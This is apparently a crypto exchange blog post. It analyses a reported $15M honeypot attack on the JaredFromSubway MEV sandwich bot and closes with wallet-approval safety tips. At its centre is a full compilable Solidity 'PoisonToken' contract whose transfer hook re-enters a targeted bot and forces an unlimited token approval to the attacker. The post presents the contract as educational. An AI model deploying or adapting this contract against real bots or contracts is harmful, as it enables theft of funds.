Press ESC to close

How Jaredfromsubway MEV Bot Lost $15M: Sandwich Exploit

The JaredFromSubway reking isn't just another routine DeFi exploit - it’s a massive paradigm shift in the Ethereum food chain. For the longest time, MEV bots were looked at as the absolute apex predators of the mempool, running hyper-sophisticated simulations to risk-lessly sandwich retail traders for pure profit. But this exploit, which drained over $15M from JaredFromSubway’s operators, proved one thing: automated execution without bulletproof sandbox isolation is a straight-up death sentence.

Here is a deep technical breakdown of the exploit, how the honey pot was engineered, and the vulnerable code architecture that flipped the ultimate MEV sniper into a multi-million dollar liquidity donor.

Anatomy of the Exploit: Where Did Jared’s Logic Short-Circuit?

Standard sandwich bots rely heavily on off-chain simulation engines (usually running heavily modified Geth or Erigon nodes). Before firing a bundle via Flashbots or the Builder API, the bot local-tests the EVM state. If the local simulation shows a net-positive WETH return, the bundle gets sent to the block builders.

The attackers exploited a fundamental flaw in this exact logic: the dynamic execution of untrusted, unverified bytecode.

To save on gas and maximize efficiency, JaredFromSubway’s bot recycled its routing paths. Instead of deploying fresh smart contracts for every single trade, it routed everything through a persistent router contract that held accumulated liquidity and carried *infinite approvals* for various Uniswap V2/V3 pools. The bot operated on the naive assumption that external ERC-20 tokens are safe as long as the pool's mathematical balance checks out pre- and post-swap.

The hackers weaponized this assumption by deploying a bait token embedded with a malicious payload inside its transfer/transferFrom functions. The second the bot triggered a swap on the pool, EVM execution control got handed straight over to the toxic token code. Instead of just updating a balance mapping like a normal token, the malicious contract executed a low-level call right back into the bot's router contract, forcing it to fire an approve transaction for blue-chip assets (WETH, USDC, USDT) to the hacker's address. The bot's off-chain simulator completely missed the red flag because during the local test phase, the token balance technically went up, while the actual rug pull of real assets happened in a subsequent execution step the bot flagged as totally safe.

Step-by-Step Attack Timeline

  • 1. Setting the Trap and Deploying the Toxic Token

    The bad actors deployed the token contract and seeded a liquidity pool. Tucked away inside the token was custom logic engineered to stay dormant unless the transaction was triggered by JaredFromSubway’s known bot router address.

  • 2. Dangling the Bait

    The hackers broadcasted a massive buy order for their own bait token into the public mempool. To the bot's algorithms, this flagged as the ultimate textbook sandwich opportunity: low pool liquidity, guaranteed high slippage, and massive projected frontrun gains.

  • 3. The Hijacking

    The bot sniffed out the transaction, built the bundle, and outbid everyone via priority fees to frontrun the trade.

    [Ethereum Block]
    ├── Tx 1 (Frontrun): Bot buys fake token -> Triggers malicious payload -> Forces approve()
    ├── Tx 2 (Victim): Hacker executes the bait swap
    └── Tx 3 (Backrun): Bot tries to dump the token (already irrelevant)

    As Tx 1 hit the pool, the token contract hijacked the EVM execution flow. Exploiting the router architecture's blind trust in the tokens it traded, the hacker’s contract forced the bot to execute: asset.approve(attacker_address, type(uint256).max).

  • 4. Draining the Wallets via transferFrom

    With infinite allowances secured for the bot's core bags, the hackers didn't even wait for the block to close. In the exact same attack sequence (or immediately in the next block using atomic bundles), the malicious contract called transferFrom on the WETH, USDC and USDT contracts. When the dust settled, over $15M was drained from JaredFromSubway's connected addresses, including a single massive $7.5M sweep.

Side-by-Side: Standard Sandwich vs. The Jared Honey Pot

MetricStandard Sandwich (Jared)The Counter-Attack (Honey Pot)
TargetRetail user (market order)MEV bot (automated router)
Primary Attack VectorPrice manipulation via tx orderingMalicious bytecode injection via ERC-20
Vulnerability ExploitedHigh slippage tolerance from the traderLack of approval isolation in the bot contract
The PayoffBot skims micro-spreads (0.1% - 5%)Hacker drains the bot's entire operating bankroll

Architecture of a "Poisoned Token" (PoC Concept)

Below is a complete, compilable Solidity smart contract that breaks down exactly how a shitcoin can highjack the execution flow and force the calling contract to hand over infinite allowances.

N.B. This code is strictly for educational purposes, to break down the attack vector and help devs build tighter defense mechanisms. Don't be a skid.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
    string public name = "HoneyPot MEV Bait";
    string public symbol = "BAIT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address public immutable attacker;
    address public targetBot;
    address public immutable targetAsset; // e.g., WETH contract
    bool private inAttack;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(address _targetAsset) {
        attacker = msg.sender;
        targetAsset = _targetAsset;
        totalSupply = 1000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }
    function setTargetBot(address _bot) external {
        require(msg.sender == attacker, "Only attacker can set target");
        targetBot = _bot;
    }
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= value, "ERC20: insufficient allowance");
            allowance[from][msg.sender] = allowed - value;
        }
        _transfer(from, to, value);
        return true;
    }
    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
        
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
        // Trigger exploit: if the call involves the bot and we aren't in a reentrant loop yet
        if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
            inAttack = true;
            
            // Fire a reentrancy-style call straight back into the bot's contract.
            // We exploit the bot's router logic, where it executes arbitrary low-level
            // calls based on data passed to it mid-swap.
            // This forces a WETH approval for the attacker.
            bytes memory payload = abi.encodeWithSignature(
                "approve(address,uint256)", 
                attacker, 
                type(uint256).max
            );
            
            // The bot blindly executes this because its router trusts instructions from the pool context
            (bool success, ) = targetBot.call(payload);
            require(success, "Exploit execution failed");
            
            inAttack = false;
        }
    }
}

Protect Your Bags: Hard Pillars of Security for Everyday Users

While this whole saga played out in a "Predator vs. Alien" MEV sandbox, retail users can still extract some major alpha on wallet hygiene from it. The JaredFromSubway bot got absolutely rekt because of loose, infinite approvals and standard Web3 users run into this exact same risk every single day.

Whenever you interact with any DeFi protocol (whether swapping on Uniswap, routing via 1inch, or looping on a lending market), your wallet asks you to sign two things: first, the Approve tx (giving the contract permission to move your tokens), and second, the actual Swap or Deposit.

Most dApps defaults to requesting access to an infinite amount of your tokens (uint256.max). They do this for UX reasons so you don't have to burn gas on a fresh approval every single time you want to trade.

But here's the catch: if that protocol's smart contract gets exploited (just like Jared's router did), or if you accidentally sign an approval on a malicious phishing site, an attacker can call transferFrom whenever they want and instantly drain your wallet to zero—even if your tokens were just sitting quietly in your address.

Checklist: How to Avoid Getting Caught in an Approval Trap

  • Cap Your Allowances (Custom Allowance):

    When you get an Approve prompt in MetaMask or Rabby Wallet, never just click "Max." Manually punch in the exact amount of tokens you’re about to trade right then and there. If you're swapping 100 USDC, cap that approval at exactly 100 USDC.

  • Regularly Revoke Permissions:

    Make it a habit to audit your active allowances once a month. Use battle-tested tools like Revoke.cash or jump straight to the built-in Token Approvals tab on block explorers like Etherscan.

  • Enforce Wallet Segregation:

    Keep the bulk of your stack tucked away on a cold hardware wallet that never touches or signs anything on smart contracts. For daily farming, degending on shitcoins, or minting NFTs, route funds to a "burner" hot wallet with a minimal balance you can afford to lose if you run into a dirty pool or a reentrancy exploit.

Astra EXMON

Astra is the official voice of EXMON and the editorial collective dedicated to bringing you the most timely and accurate information from the crypto market. Astra represents the combined expertise of our internal analysts, product managers, and blockchain engineers.

...

Leave a comment

Your email address will not be published. Required fields are marked *